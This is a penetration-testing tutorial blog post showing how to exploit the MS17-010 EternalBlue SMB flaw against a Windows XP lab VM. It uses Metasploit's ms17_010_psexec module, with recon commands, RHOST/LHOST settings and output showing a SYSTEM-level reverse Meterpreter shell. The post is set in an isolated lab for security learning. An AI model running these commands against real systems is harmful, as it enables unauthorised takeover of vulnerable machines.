Exploit EternalBlue Using Kali Linux

In this post I cover how to exploit EternalBlue using Kali Linux. What is EternalBlue, and why are we exploiting it? EternalBlue is the name for a vulnerability discovered in the Windows operating system. The vulnerability comes from the way Windows implemented the Server Message Block protocol (SMB) version 1.0, leaving it open to exploitation. Since the release of the leaked exploit Rapid7 and the community has since uploaded exploits to Metasploit framework for us to use in testing. The vulnerability was named MS17-010 by Microsoft. After some bad actors exploited the vulnerability in the WannaCry disaster, Microsoft reacted by releasing a patch. They even released one for Windows XP, which they were/are no longer supporting.

This is an extensive tutorial for to exploit the EternalBlue using Kali Linux by using an exploit in Metasploit. The msfconsole makes this exploit available to use to compromise the victim machine we are targeting. It also provides a robust and mature architecture for reporting and scaling our ethical hacking efforts.

Here’s What You Need:

• Kali Linux Virtual Instance
• Windows Virtual Instance vulnerable to MS17-010

Here’s what EHG is using: a SP1 Windows XP Virtual Instance in VirtualBox. After placing both virtual machines on the same internal network adapter, the first step is startup Metasploit within Kali Linux. Note: Always be sure that you are the master of your virtual network. In other words don’t let your scans accidentally start tapping the devices on a network you are not authorized to scan. Use an Internal or Host-Only network in VirtualBox!

Notice that the next step is to create a workspace for this demo. Get in the habit of using workspaces, because they really help organize things. Switch between workspaces at any time using the command workspace {workspace name}.

Step 1: Setup and Gather Info

# FOLLOW THESE DIRECTIONS!
# start the database server
root@kali:~ service postgresql start

root@kali:~ msfdb init

root@kali:~ msfconsole

# create workspace. -a for "add"
msf > workspace -a eternal_blue_demo
[*] Added workspace: eternal_blue_demo

Go over what is set up so far: a workspace for the demo, the msf database server is running and the database has been created and initialized. Now turning to the target machine. Remember that exploits in Kali Linux have requirements. List these requirements using the command show options. Notice the line returned from an nmap scan returns workgroup name WORKGROUP. This is needed later for exploiting, because it is a required line. If this machine was domain joined then you would use that domain name. The same information can be found using an nbtscan.

msf > db_nmap -A -O -sV 10.0.1.10
[*] Nmap: |   Workgroup: WORKGROUP\x00

msf > nbtscan -v -s : 10.0.1.10
[*] exec: nbtscan -v -s : 10.0.1.10

10.0.1.10:WORKGROUP      :00G
10.0.1.10:WORKGROUP      :1eG
10.0.1.10:WORKGROUP      :1dU

Step 2: Scan for the Vulnerability

The next step fits in with the normal Kali Linux gather-and-destroy process. The usual steps are to gather information, exploit vulnerabilites, escalate privileges, move laterally, and exfiltrate. This is similar to the MITRE Attack Matrix. Google it for a nice visual look at the overall process.

Using this information return to the task of setting up an exploit. Using search ms17-010 all the available exploits are presented for use. Looking in the results of that search, see there is an auxiliary scanner named sm_ms17_010. This is what we need. Running an exploit against the victim machine requires the EternalBlue vulnerability, therefore we have to check! This is done using a scanner.

msf > use auxiliary/scanner/smb/smb_ms17_010 

Step 3: Exploit

When choosing an exploit it is best to pick the one with the fewest options that are labeled as “required”. Why is that? Fewer requirements means fewer variables to manage. It’s also faster and easier. Sticking with the defaults can make the whole process much simpler and less error-prone. It turns out exploit/windows/smb/ms17_010_eternalblue is suited for Windows 7 targets, therefore it won’t work. The target machine is Windows XP 32 bit. This leads the search for a suitable exploit to exploit/windows/smb/ms17_010_psexec. The line Server username: NT AUTHORITY\SYSTEM indicates that root level access has been achieved. At this point virtually anything can be done.

Luckily, as far configurations go this is an easy one. Leaving all the default settings as they are, we only need to set two fields. These are the LHOST and the RHOST. To explain, the LHOST is the listening host and the RHOST is the receiving host. After you examine the default payload this makes sense. The payload by default is a reverse tcp Meterpreter shell. The way it works is sort of a nudge towards how modern security architecture works. To explain, think of the possible payloads you could use in this scenario. Now think of a massive, in reach and in scale, system that is the modern firewall. This system’s sole design to block, therefore the reverse TCP shell is an exploit method created in response to firewalls. How is that? This type of shell executes on the victim machine and calls back to the attacker machine. Think about it, what security architecture denies most outbound traffic? This leaves room for this payload type to work.

# choose an exploit
msf > use exploit/windows/smb/ms17_010_eternalblue   

# show options
msf > show options

# go back and see others
msf > back

# choose a new exploit for XP systems
msf > use exploit/windows/smb/ms17_010_psexec

# set victim ip as RHOST
msf exploit(windows/smb/ms17_010_psexec) > set RHOST 10.0.1.10
RHOST => 10.0.1.10

# set attacker ip as LHOST 
msf exploit(windows/smb/ms17_010_psexec) > set LHOST 10.0.1.7
LHOST => 10.0.1.7

# exploit!
msf exploit(windows/smb/ms17_010_psexec) > exploit
[*] Meterpreter session 1 opened (10.0.1.7:4444 -> 10.0.1.10:1079) at 2019-02-21 13:01:06 -0500

# simple check for what user is currently running
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Let’s say there are multiple, dozens or hundreds of devices that you are now exploiting for a penetration test. Collecting credentials is a standard practice to progress the test’s overall goals. However, how can you test all those usernames and passwords, it takes forever manually. The automated recommendation I make is to use CredNinja, see the post EHG made here.